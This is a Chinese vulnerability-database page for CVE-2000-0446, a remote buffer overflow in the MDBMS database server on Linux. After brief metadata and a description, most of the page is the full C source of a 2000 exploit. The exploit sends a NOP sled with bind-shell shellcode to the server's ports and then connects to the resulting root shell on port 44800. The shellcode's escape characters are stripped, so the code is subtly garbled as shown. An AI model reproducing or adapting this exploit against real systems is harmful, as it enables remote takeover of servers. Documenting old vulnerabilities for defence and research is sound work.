MDBMS缓冲区溢出漏洞

MDBMS缓冲区溢出漏洞

漏洞ID 1105852 漏洞类型 缓冲区溢出
发布时间 2000-05-24 更新时间 2005-05-02
图片[1]-MDBMS缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0446
图片[2]-MDBMS缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200005-091
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/19966
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200005-091
|漏洞详情
MDBMS数据库服务器存在缓冲区溢出漏洞。远程攻击者借助超长字符串可以执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/1252/info

A vulnerability exists in the MDBMS database, written by Marty Bochane. By supplying a line of sufficient length to the MDBMS server, containing machine executable code, it is possible for a remote attacker to execute arbitrary commands as the user the db is running as.

It is believed all versions of MDBMS are susceptible, up to and including .99b6, which is the latest release. 

/*                     MDBMS V0.96b6 remote shell xploit=20
 *           11/05/2000  |[TDP]| <[email protected]>  -  HaCk-13 TeaM
 *
 *  This code shows a MDBMS v0.96b6 vulnerability in which, any remote
 * user can exec a shell. MDBMS daemon used to be ran as root user; =
exposing
 * the system to serious vulnerability risks, because any attacker can =
obtain
 * root priviledges remotely with this exploit
 *
 * Exploit tested on LiNUX SuSE 6.3... previous MDBMS versions may
 *  be affected by this vulnerability. Fix at end of this doc.
 *
 *      Greetings goes to all other members and all my friends
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>

#define NOP     0x90
#define LEN     10008
#define RET     0xbffff586

/* Special shell code */
char shellcode[] =
"x31xc0xb0x02xcdx80x85xc0x75x43xebx43x5ex31xc0x31xdbx89xf1"
"xb0x02x89x06xb0x01x89x46x04xb0x06x89x46x08xb0x66xb3x01xcd"
"x80x89x06xb0x02x66x89x46x0cxb0xafx66x89x46x0ex8dx46x0cx89"
"x46x04x31xc0x89x46x10xb0x10x89x46x08xb0x66xb3x02xcdx80xeb"
"x04xebx55xebx5bxb0x01x89x46x04xb0x66xb3x04xcdx80x31xc0x89"
"x46x04x89x46x08xb0x66xb3x05xcdx80x88xc3xb0x3fx31xc9xcdx80"
"xb0x3fxb1x01xcdx80xb0x3fxb1x02xcdx80xb8x2fx62x69x6ex89x06"  
"xb8x2fx73x68x2fx89x46x04x31xc0x88x46x07x89x76x08x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xc0xb0x01x31xdbxcd"
  "x80xe8x5bxffxffxff";
 
long
resolveip (char *name)
{
  struct hostent *hp;
  long ip;
  
  if ((ip = inet_addr (name)) == -1)
    {
      if ((hp = gethostbyname (name)) == NULL)
 {
   fprintf (stderr, "Can't resolve host name [%s].n", name);
   exit (0);
 }
      memcpy (&ip, (hp->h_addr), 4);
    }
  return (ip);
}

int
main (int argc, char *argv[])
{
  char buffer[LEN], buffer2[LEN + 10];
  long retaddr = RET;
  long remoteip;
  unsigned long sp;
  int i, a, shellsock, clisock;
  struct sockaddr_in clisin, shsin;
  char snd[4096], rcv[4096];
  fd_set rset;

  fprintf (stderr,
    "nMDBMS v0.96b6 Remote Shell Xploit - <[email protected]>n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s ip [offset]n", argv[0]);
      exit (-1);
    }

  if (argc > 2)
    a = atoi (argv[2]);
  else
    a = 0;           
             
  retaddr = retaddr + a;
     
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr;
     
  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;
    
  memcpy (buffer + i, shellcode, strlen (shellcode));
  sprintf (buffer2, "%sn", buffer);
  
  fprintf (stderr, "Connecting to remote MDBMS server...n");
  fflush (stdout);
  remoteip = resolveip (argv[1]);
  clisock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (clisock == -1)
    {
      fprintf (stderr, "Can't create main socket");
      exit (-1);
    }
  clisin.sin_family = AF_INET;    
  clisin.sin_port = htons (2224);
  clisin.sin_addr.s_addr = remoteip;
  if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) == -1)
    {
      fprintf (stderr, "Can't connect to the MDBMS fastport, trying normal port...n");
      clisin.sin_family = AF_INET;  
      clisin.sin_port = htons (2223);
      clisin.sin_addr.s_addr = remoteip;
      if (connect (clisock, (struct sockaddr *) &clisin, sizeof(clisin)) == -1)
 {
   fprintf    
     (stderr, "Can't connect to normalport... MDBMS is running in remote server?nn");    
   exit (0); 
 }
      exit (0);
    }
      
  switch (i = read (clisock, buffer, LEN))
    {
    case -1:
      {
 fprintf (stderr, "ClientSocket: unexpected EOFn");
 exit (0);
      }                
    case 0:  
      {
 fprintf (stderr, "ClientSocket: EOFn");
 exit (0);
      }
    default:
      buffer[i] = 0;
      fprintf (stderr, "%sn", buffer);
      break;
    }
  fprintf (stderr, "Sending xploit, jumping to address 0x%lxn", retaddr);
  i = write (clisock, buffer2, strlen (buffer2));
  fsync (clisock);
  if ((i < 10000) || (i > 10018))  
    {
      fprintf (stderr, "ClientSocket: Error writing xploitn");
      exit (0);
    } 
  close (clisock);
     
  fprintf (stderr, "Waiting 2 secs for hell...n");
  sleep (2);
/* shell stuFF */
  fprintf (stderr, "Connecting to the shell...n");
  fflush (stdout);
     
  memset (&shsin, 0, sizeof (shsin)); 
  shsin.sin_family = AF_INET;
  shsin.sin_port = htons (44800);   
  shsin.sin_addr.s_addr = remoteip;  
      
  if ((shellsock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
      fprintf (stderr, "Can't create shell socketn");
      exit (-1);
    }         
     
  if (connect (shellsock, (struct sockaddr *) &shsin, sizeof (shsin)) < 0) 
    {
      fprintf (stderr, "Can't connect to the shellnn");
      exit (0);
    } 
  
  fprintf (stderr, "Connectedn");
    
  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fileno (stdin), &rset);
      FD_SET (shellsock, &rset);
      select (255, &rset, NULL, NULL, NULL);
      if (FD_ISSET (fileno (stdin), &rset))
 {
   memset (snd, 0, sizeof (snd));
   fgets (snd, sizeof (snd), stdin);
   write (shellsock, snd, strlen (snd));
 }    
      if (FD_ISSET (shellsock, &rset))
 {   
   memset (rcv, 0, sizeof (rcv));
   if (read (shellsock, rcv, sizeof (rcv)) <= 0)
     exit (0);
   fputs (rcv, stdout);
 }
    }
      
  return (0);  
}
|参考资料

来源:BID
名称:1252
链接:http://www.securityfocus.com/bid/1252
来源:BUGTRAQ
名称:20000524RemotexploitforMDBMS
链接:http://archives.neohapsis.com/archives/bugtraq/2000-05/0274.html

相关推荐: RiSearch/RiSearch Pro Open Proxy Vulnerability

RiSearch/RiSearch Pro Open Proxy Vulnerability 漏洞ID 1098212 漏洞类型 Input Validation Error 发布时间 2004-07-27 更新时间 2004-07-27 CVE编号 N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享